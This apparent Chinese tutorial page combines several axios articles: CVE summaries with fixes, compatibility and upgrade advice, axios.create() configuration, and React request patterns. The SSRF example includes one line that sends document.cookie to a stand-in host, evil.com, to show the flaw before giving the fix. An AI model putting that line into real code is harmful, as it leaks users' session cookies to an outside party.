影响版本:≤ 1.7.9。当请求路径传入绝对 URL 时,即使设置了 baseURL,axios 仍会将请求发送到该绝对 URL 指向的地址,攻击者可以利用这一点发起 SSRF 攻击并窃取认证信息。1.8.0 引入了 allowAbsoluteUrls 配置项来控制此行为,1.8.2 修复了此漏洞。
```javascript
// 风险场景:baseURL 被绕过
const client = axios.create({ baseURL: "https://api.example.com" });
// 攻击者控制路径参数时,请求可能发往外部域名
client.get("https://evil.com/steal?cookie=" + document.cookie);
// 修复:禁用绝对 URL
const client = axios.create({
baseURL: "https://api.example.com",
allowAbsoluteUrls: false,
});
```
### CVE-2025-58754:data URI 导致内存耗尽
影响版本:0.28.0 - 1.11.0。axios 对 data URI 的处理没有执行 maxContentLength 和 maxBodyLength 的限制检查,攻击者可以构造超大 data URI 导致 Node.js 进程内存耗尽。1.12.0 修复了此漏洞。
### CVE-2025-62718:NO_PROXY 主机名绕过
影响版本:≤ 1.14.1。axios 在匹配 NO_PROXY 规则时没有对主机名做规范化处理,攻击者可以通过主机名的不同表示形式绕过代理规则,实现 SSRF。1.15.0 修复。
### CVE-2026-25639:mergeConfig 中的原型污染 DoS
影响版本:1.0.0 - 1.13.4。mergeConfig 函数在合并配置时未过滤 __proto__ 键,攻击者可以通过注入 __proto__ 属性触发原型污染,导致 DoS。1.13.5 修复。
## 兼容性处理实战
### 浏览器环境兼容
axios 依赖 Promise 和 XMLHttpRequest(或 Fetch API),在旧浏览器中需要 polyfill。实际项目中更推荐按特性检测来决定适配器策略,而不是一刀切。
```javascript
import axios from "axios";
// 根据环境自动选择适配器
function createClient(config = {}) {
const adapter =
typeof fetch !== "undefined"
? "fetch"
: typeof XMLHttpRequest !== "undefined"
? "xhr"
: undefined; // Node.js 使用 http 适配器
return axios.create({ adapter, ...config });
}
```
### Node.js 环境兼容
axios 1.x 的 Node.js 适配器需要 Node.js 12+。在 SSR 场景中,同一段代码可能在浏览器和 Node.js 中运行,需要根据环境配置不同的 Agent。
```javascript
const instance = axios.create({
// Node.js 环境配置 keep-alive
...(typeof process !== "undefined" && {
httpAgent: new (require("http").Agent)({ keepAlive: true }),
httpsAgent: new (require("https").Agent)({ keepAlive: true }),
}),
});
```
### 版本兼容封装
在维护多个项目或渐进式升级时,封装一层兼容层可以隔离版本差异,降低升级成本。
```javascript
// compat.js - 版本兼容封装
import axios from "axios";
const isV1 = axios.VERSION && axios.VERSION.startsWith("1.");
// 统一取消请求接口
export function createCancelableRequest() {
if (isV1) {
const controller = new AbortController();
return {
signal: controller.signal,
cancel: (msg) => controller.abort(msg),
};
}
const source = axios.CancelToken.source();
return {
cancelToken: source.token,
cancel: (msg) => source.cancel(msg),
};
}
// 统一实例创建
export function createInstance(config = {}) {
return axios.create({
...config,
...(isV1 && {
transitional: { clarifyTimeoutError: true, forcedJSONParsing: true },
}),
});
}
```
## 从 0.x 升级到 1.x 的检查清单
升级前逐项排查,可以避免大部分线上故障。
**第一步:排查 CancelToken 使用**。全局搜索 CancelToken 和 source.cancel,替换为 AbortController。注意 abort() 后 signal 不可复用,循环请求场景需要每次新建 controller。
**第二步:检查参数序列化**。如果后端依赖 null 参数传空字符串的行为,确认升级后序列化结果是否一致。可以用 paramsSerializer 自定义序列化逻辑。
**第三步:检查 TypeScript 类型**。1.x 的类型导出路径有调整,AxiosResponse、AxiosRequestConfig 等需要确认导入方式。
**第四步:检查自定义适配器**。如果项目中使用了自定义适配器(如缓存适配器、Mock 适配器),需要适配 1.x 的适配器接口变更。
**第五步:安全版本确认**。确保升级到 1.15.1 以上版本,修复所有已知 CVE。低于 1.15.0 的版本至少存在两个未修复的安全漏洞。
## 版本锁定与更新策略
生产环境中,推荐锁定 axios 的精确版本号,避免隐式升级引入兼容性问题。同时定期检查安全更新。
```json
{
"dependencies": {
"axios": "1.16.1"
}
}
```
对于 Monorepo 或微前端项目,使用 resolutions 字段统一 axios 版本,避免不同子项目引用不同版本。
```json
{
"resolutions": {
"axios": "1.16.1"
}
}
```
## 追问:axios 和 fetch 该怎么选
新项目中如果只需要基本的请求功能,fetch API 已经足够,浏览器原生支持无需安装依赖。但如果需要拦截器、自动 JSON 转换、请求取消、超时控制、XSRF 防护等开箱即用的能力,axios 仍然是更高效的选择。axios 1.6+ 的 Fetch 适配器让两者可以共存,在 fetch 基础上获得 axios 的上层能力。服务端5月28日 01:47
axios 实例如何创建和配置?axios.create() 的使用方法与核心原理`axios.create()` 是 axios 提供的工厂方法,用于创建一个拥有独立配置的 axios 实例。与直接使用全局 `axios` 对象不同,实例之间互不影响,适合在项目中对接多个服务或需要不同默认配置的场景。
## 核心答案
`axios.create()` 接收一个配置对象,返回一个新的 axios 实例,该实例拥有与全局 axios 相同的请求方法,但配置彼此隔离:
```javascript
const instance = axios.create({
baseURL: 'https://api.example.com',
timeout: 10000,
headers: { 'X-Custom-Header': 'foobar' }
});
instance.get('/users'); // 实际请求 https://api.example.com/users
```
**面试关键点:** `axios.create()` 创建的实例与全局 axios 共享原型方法,但拥有独立的 defaults、interceptors,互不干扰。源码中 `create` 调用了 `createInstance`,通过 `bind` 绑定新上下文并拷贝拦截器链。
**追问:axios.create() 和直接修改 axios.defaults 有什么区别?**
修改 `axios.defaults` 影响全局所有请求,而 `axios.create()` 创建的实例配置独立,适合多服务、多环境场景。实际项目中推荐使用实例而非修改全局默认值。
## 配置选项分类
### 基础配置
最常用的配置项集中在请求地址、超时和请求头:
```javascript
const instance = axios.create({
baseURL: 'https://api.example.com/v1', // 请求 URL 前缀
timeout: 10000, // 超时时间(毫秒)
headers: { // 自定义请求头
'Content-Type': 'application/json',
'Accept': 'application/json'
},
method: 'get', // 默认请求方法
params: { page: 1 }, // URL 查询参数
data: { name: 'test' } // 请求体数据
});
```
### 进阶配置
实际项目中常涉及跨域凭证、响应类型和安全相关配置:
```javascript
const instance = axios.create({
withCredentials: true, // 跨域请求携带 cookie
responseType: 'json', // 响应数据类型:json/blob/stream 等
responseEncoding: 'utf8', // 响应编码
xsrfCookieName: 'XSRF-TOKEN', // XSRF 防护 cookie 名
xsrfHeaderName: 'X-XSRF-TOKEN', // XSRF 防护 header 名
maxRedirects: 5, // 最大重定向次数
maxContentLength: 2000, // 响应体最大长度
onUploadProgress: (e) => {}, // 上传进度回调
onDownloadProgress: (e) => {} // 下载进度回调
});
```
## 配置优先级
这是面试高频考点。配置合并遵循四个层级,后者覆盖前者:
1. **库默认值** — axios 内置的默认配置
2. **`axios.create()` 传入的配置** — 创建实例时指定
3. **实例的 `defaults` 属性** — 创建后通过 `instance.defaults` 修改
4. **请求时传入的配置** — 单次请求的 config 参数
```javascript
// 层级 1:库默认 timeout = 0
// 层级 2:创建时 timeout = 5000
const instance = axios.create({ timeout: 5000 });
// 层级 3:defaults 修改 timeout = 10000
instance.defaults.timeout = 10000;
// 层级 4:请求时覆盖 timeout = 20000 ← 最终生效
instance.get('/data', { timeout: 20000 });
```
**追问:headers 的合并策略和 timeout 一样吗?**
不一样。`timeout` 等简单值直接覆盖,而 `headers` 采用深度合并策略——`headers.common`、`headers[method]` 会按层级递归合并,而非整体替换。理解这一点才能避免配置被意外覆盖。
## 实战场景
### 多后端服务
中大型项目通常对接多个微服务,各自拥有不同的 baseURL 和超时要求:
```javascript
const userService = axios.create({
baseURL: 'https://api.user-service.com',
timeout: 5000
});
const orderService = axios.create({
baseURL: 'https://api.order-service.com',
timeout: 10000
});
// 各实例独立使用,互不干扰
userService.get('/users/1');
orderService.get('/orders/123');
```
### 认证 API 与公开 API 分离
需要对不同接口设置不同的拦截逻辑时,实例隔离尤为重要:
```javascript
// 需要认证的实例
const authApi = axios.create({
baseURL: 'https://api.example.com',
timeout: 10000
});
authApi.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// 公开接口实例——无需 token
const publicApi = axios.create({
baseURL: 'https://api.example.com',
timeout: 5000
});
```
## 完整封装方案
结合实例创建、拦截器和错误处理,形成项目级的请求封装:
```javascript
import axios from 'axios';
const api = axios.create({
baseURL: import.meta.env.VITE_API_URL || 'http://localhost:3000',
timeout: 10000,
headers: { 'Content-Type': 'application/json' }
});
// 请求拦截:注入 token
api.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// 响应拦截:统一错误处理
api.interceptors.response.use(
response => response.data,
error => {
if (error.response?.status === 401) {
localStorage.removeItem('token');
window.location.href = '/login';
}
return Promise.reject(error);
}
);
export default api;
```
## 常见问题
**实例能访问全局 axios 的拦截器吗?** 不能。每个实例拥有独立的 interceptors 对象,创建实例时拦截器链从空开始,需要单独添加。
**`axios.create()` 返回的是什么?** 返回一个包装了 `Axios` 实例的函数,该函数绑定了当前上下文,同时挂载了 `get`、`post` 等快捷方法和 `defaults`、`interceptors` 属性。源码中通过 `extend` 将 `Axios.prototype` 上的方法拷贝到实例函数上。
**实例方法有哪些?** `request`、`get`、`delete`、`head`、`options`、`post`、`put`、`patch`、`getUri`,用法与全局 axios 一致。
服务端5月28日 01:41
在 React 项目中如何正确使用 axios?在 React 项目中使用 axios,核心挑战不在于发送请求本身,而在于如何让请求逻辑与 React 的组件生命周期、状态管理、性能优化正确配合。许多开发者会写 axios 调用,却在内存泄漏、竞态条件、重复请求等问题上频频踩坑。
## 一、为什么 React 项目需要封装 axios
直接在每个组件中 `import axios from 'axios'` 然后调用,看似简单,但会带来三个问题: baseURL 和超时配置散落各处、token 刷新逻辑无法统一处理、错误处理方式不一致。
## 创建统一的请求实例
```javascript
// services/request.js
import axios from 'axios';
const request = axios.create({
baseURL: import.meta.env.VITE_API_BASE_URL,
timeout: 15000,
headers: { 'Content-Type': 'application/json' },
});
// 请求拦截器:注入 token
request.interceptors.request.use((config) => {
const token = localStorage.getItem('access_token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
// 响应拦截器:统一错误处理 + token 过期刷新
let isRefreshing = false;
let pendingRequests = [];
request.interceptors.response.use(
(response) => response.data,
async (error) => {
const originalRequest = error.config;
if (error.response?.status === 401 && !originalRequest._retry) {
if (isRefreshing) {
return new Promise((resolve) => {
pendingRequests.push((token) => {
originalRequest.headers.Authorization = `Bearer ${token}`;
resolve(request(originalRequest));
});
});
}
originalRequest._retry = true;
isRefreshing = true;
try {
const { data } = await axios.post('/auth/refresh', {
refresh_token: localStorage.getItem('refresh_token'),
});
localStorage.setItem('access_token', data.access_token);
pendingRequests.forEach((cb) => cb(data.access_token));
pendingRequests = [];
return request(originalRequest);
} catch {
localStorage.clear();
window.location.href = '/login';
return Promise.reject(error);
} finally {
isRefreshing = false;
}
}
return Promise.reject(error);
}
);
export default request;
```
这个封装解决了一个容易被忽略的问题:当多个请求同时返回 401 时,只触发一次 token 刷新,其余请求排队等待新 token 后自动重试。
## 按业务模块拆分 API 函数
```javascript
// services/user.js
import request from './request';
export const userApi = {
getProfile: () => request.get('/user/profile'),
updateProfile: (data) => request.put('/user/profile', data),
};
// services/post.js
export const postApi = {
getList: (params) => request.get('/posts', { params }),
getDetail: (id) => request.get(`/posts/${id}`),
create: (data) => request.post('/posts', data),
};
```
将 API 函数与组件解耦,后续接口变更只需改一处。测试时也可以直接 mock 整个模块。
## 二、在组件中正确使用 axios
## 必须处理请求取消
React 组件卸载后,仍在进行中的异步请求如果试图更新状态,会触发内存泄漏警告。这是 axios 在 React 中最常见的坑。
```javascript
import { useEffect, useState } from 'react';
import { userApi } from '@/services/user';
function UserProfile({ userId }) {
const [user, setUser] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
const controller = new AbortController();
(async () => {
try {
setLoading(true);
const data = await userApi.getProfile({
signal: controller.signal,
});
setUser(data);
} catch (err) {
if (err.name !== 'CanceledError') {
setError(err.message);
}
} finally {
setLoading(false);
}
})();
return () => controller.abort();
}, [userId]);
// ...渲染逻辑
}
```
关键点:`AbortController` 的 `signal` 传给 axios 的请求配置,组件卸载时调用 `controller.abort()`,axios 会以 `CanceledError` 拒绝 Promise。在 catch 中通过 `err.name` 过滤掉取消错误,避免污染错误状态。
## 竞态条件:快速切换时的数据错乱
当用户快速切换 tab 或搜索关键词时,多个请求可能乱序返回,导致页面显示的是旧数据而非最新请求的结果。
```javascript
// 错误写法:快速切换 userId 时可能显示旧数据
useEffect(() => {
userApi.getProfile(userId).then(setUser);
}, [userId]);
// 正确写法:每次新请求自动取消上一次
useEffect(() => {
const controller = new AbortController();
userApi.getProfile(userId, { signal: controller.signal })
.then(setUser)
.catch((err) => {
if (err.name !== 'CanceledError') setError(err);
});
return () => controller.abort();
}, [userId]);
```
同一个 `AbortController` 同时解决了内存泄漏和竞态两个问题。
## 三、用自定义 Hook 收敛请求逻辑
每个组件都写一遍 loading/error 状态和 AbortController,代码重复且容易遗漏。封装成自定义 Hook 后,组件只需关注业务逻辑。
```javascript
// hooks/useRequest.js
import { useState, useEffect, useCallback, useRef } from 'react';
export function useRequest(apiFn, { immediate = true, deps = [] } = {}) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(immediate);
const [error, setError] = useState(null);
const controllerRef = useRef(null);
const execute = useCallback(async (...args) => {
controllerRef.current?.abort();
const controller = new AbortController();
controllerRef.current = controller;
try {
setLoading(true);
setError(null);
const result = await apiFn(...args, { signal: controller.signal });
setData(result);
return result;
} catch (err) {
if (err.name !== 'CanceledError') {
setError(err);
throw err;
}
} finally {
setLoading(false);
}
}, [apiFn]);
useEffect(() => {
if (immediate) execute();
return () => controllerRef.current?.abort();
}, [immediate, execute, ...deps]);
return { data, loading, error, execute };
}
```
这个 Hook 的设计要点:用 `useRef` 保存最新的 controller 引用,`execute` 每次调用先取消上一次请求,天然防竞态;`immediate` 控制是否自动执行;`deps` 支持依赖变化时重新请求。
## 四、四个常见坑点
### 坑点 1:表单重复提交
用户连续点击提交按钮,会发出多个相同的 POST 请求。
```javascript
const [submitting, setSubmitting] = useState(false);
const handleSubmit = async (values) => {
if (submitting) return;
setSubmitting(true);
try {
await postApi.create(values);
} finally {
setSubmitting(false);
}
};
// JSX 中
<Button loading={submitting} onClick={() => handleSubmit(formValues)}>
提交
</Button>
```
更彻底的方案是用 axios 的 `CancelToken` 或 `AbortController` 取消上一次提交,但大多数场景下 loading 锁定已足够。
### 坑点 2:POST 请求参数序列化
axios 默认将对象序列化为 JSON,但某些后端接口要求 `application/x-www-form-urlencoded` 格式。直接传对象会导致后端解析失败。
```javascript
// 错误:后端收不到参数
axios.post('/api/login', { username: 'admin', password: '123' });
// 正确:使用 URLSearchParams 或 qs 库
axios.post('/api/login', new URLSearchParams({ username: 'admin', password: '123' }));
// 或使用 qs
import qs from 'qs';
axios.post('/api/login', qs.stringify({ username: 'admin', password: '123' }));
```
### 坑点 3:文件上传进度丢失
上传大文件时用户需要看到进度,但很多人不知道 axios 支持 `onUploadProgress`。
```javascript
const [progress, setProgress] = useState(0);
const handleUpload = async (file) => {
const formData = new FormData();
formData.append('file', file);
await request.post('/upload', formData, {
headers: { 'Content-Type': 'multipart/form-data' },
onUploadProgress: (e) => {
setProgress(Math.round((e.loaded * 100) / e.total));
},
});
};
```
### 坑点 4:错误处理不区分业务错误和网络错误
```javascript
// 统一错误处理策略
request.interceptors.response.use(
(response) => {
const { code, data, message } = response.data;
if (code !== 0) {
// 业务错误:弹提示,不抛异常
showToast(message);
return Promise.reject(new Error(message));
}
return data;
},
(error) => {
// 网络错误 / 服务器错误
if (!error.response) {
showToast('网络异常,请检查网络连接');
} else if (error.response.status >= 500) {
showToast('服务器繁忙,请稍后重试');
}
return Promise.reject(error);
}
);
```
业务错误(如"余额不足")和网络错误(如断网、500)应该用不同策略处理:前者通常只需提示用户,后者可能需要重试或降级。
## 五、React Query + axios:生产级方案
手动管理请求状态、缓存、重试、乐观更新,代码量会急剧膨胀。React Query 把这些能力内置了,只需要提供 axios 请求函数即可。
```javascript
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';
import { postApi } from '@/services/post';
// 查询:自动缓存 + 后台刷新 + 请求去重
function usePostList(params) {
return useQuery({
queryKey: ['posts', params],
queryFn: () => postApi.getList(params),
staleTime: 5 * 60 * 1000,
});
}
// 变更:自动失效缓存
function useCreatePost() {
const queryClient = useQueryClient();
return useMutation({
mutationFn: postApi.create,
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: ['posts'] });
},
});
}
```
React Query 配合 axios 的核心优势:多个组件请求同一接口时只发一次请求(请求去重);窗口重新获得焦点时自动后台刷新数据;mutation 成功后自动让相关缓存失效,无需手动刷新。
## TypeScript 类型安全
在 TypeScript 项目中,给 axios 请求加上类型约束,能在编译期捕获参数和返回值类型错误。
```typescript
// types/api.ts
interface UserProfile {
id: number;
name: string;
email: string;
}
interface ApiResponse<T> {
code: number;
data: T;
message: string;
}
// services/user.ts
export const userApi = {
getProfile: () =>
request.get<ApiResponse<UserProfile>>('/user/profile'),
};
```
组件中 `useQuery` 配合类型推导,`data` 自动获得 `UserProfile` 类型,不再需要手动断言。
面试中回答 axios 相关问题时,先讲封装思路(实例、拦截器、模块拆分),再讲 React 集成要点(AbortController 防内存泄漏和竞态),最后提 React Query 的缓存和重试机制,这条线能把问题讲透。